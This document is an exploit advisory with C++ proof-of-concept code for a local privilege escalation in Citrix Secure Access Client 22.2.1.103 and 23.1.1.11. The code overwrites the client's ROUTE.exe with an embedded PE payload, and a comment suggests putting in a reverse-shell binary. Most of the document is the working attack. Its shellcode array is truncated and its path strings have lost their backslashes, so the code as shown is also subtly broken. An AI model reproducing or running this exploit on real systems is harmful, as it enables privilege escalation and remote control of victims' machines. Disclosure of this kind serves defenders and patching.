Authored by Touhami Kasbaoui

Citrix versions 22.2.1.103 and 23.1.1.11 suffer from a local privilege escalation vulnerability.

//Discovered by:: TOUHAMI KASBAOUI - VXREMALWARE
//Discover date : 25/03/2023
//Reported to Citrix: 25/03/2023
//Tested Version: 22.2.1.103, 23.1.1.11/Last version
//Exploit: https://github.com/sqrtZeroKnowledge/Citrix_Secure_Access_LPE_0DAY


#define UNICODE
#define _UNICODE
#include <Windows.h>
#include <string>
#include <iostream>
#include <Windows.h>
#include <iostream>

using namespace std;
enum Result
{
unknown,
serviceManager_AccessDenied,
serviceManager_DatabaseDoesNotExist,
service_AccessDenied,
service_InvalidServiceManagerHandle,
service_InvalidServiceName,
service_DoesNotExist,
service_Exist
};

Result ServiceExists(const std::wstring& serviceName)
{
Result r = unknown;

SC_HANDLE manager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, GENERIC_READ);

if (manager == NULL)
{
DWORD lastError = GetLastError();

if (lastError == ERROR_ACCESS_DENIED)
return serviceManager_AccessDenied;
else if (lastError == ERROR_DATABASE_DOES_NOT_EXIST)
return serviceManager_DatabaseDoesNotExist;
else
return unknown;
}

SC_HANDLE service = OpenService(manager, serviceName.c_str(), GENERIC_READ);

if (service == NULL)
{
DWORD error = GetLastError();

if (error == ERROR_ACCESS_DENIED)
r = service_AccessDenied;
else if (error == ERROR_INVALID_HANDLE)
r = service_InvalidServiceManagerHandle;
else if (error == ERROR_INVALID_NAME)
r = service_InvalidServiceName;
else if (error == ERROR_SERVICE_DOES_NOT_EXIST)
r = service_DoesNotExist;
else
r = unknown;
}
else
r = service_Exist;

if (service != NULL)
CloseServiceHandle(service);

if (manager != NULL)
CloseServiceHandle(manager);

return r;
}

int main() {

const uint8_t shellcode[7168] = {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
}; //You can set array bin of your reverse shell PE file here

std::wstring serviceName = L"aoservice";
Result result = ServiceExists(serviceName);
if (result == service_Exist)
std::wcout << L"The service '" << serviceName << "' exists." << std::endl;
else if (result == service_DoesNotExist)
std::wcout << L"The service '" << serviceName << "' does not exist." << std::endl;
else
std::wcout << L"An error has occurred, and it could not be determined whether the service '" << serviceName << "' exists or not." << std::endl;

HANDLE fileHandle = CreateFile(L"C:Program FilesCitrixSecure Access ClientROUTE.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
cerr << "[*] Loading Malicious file into Citric Secure Access Installer n";
if (fileHandle == INVALID_HANDLE_VALUE) {
cerr << "Failed to create shellcoden";
return 1;
}

DWORD bytesWritten;
if (!WriteFile(fileHandle, shellcode, sizeof(shellcode), &bytesWritten, NULL)) {
cerr << "Failed to write to filen";
CloseHandle(fileHandle);
return 1;
}
CloseHandle(fileHandle);

cout << "Shellcode exported to Citrix Secure Access path n";
return 0;
}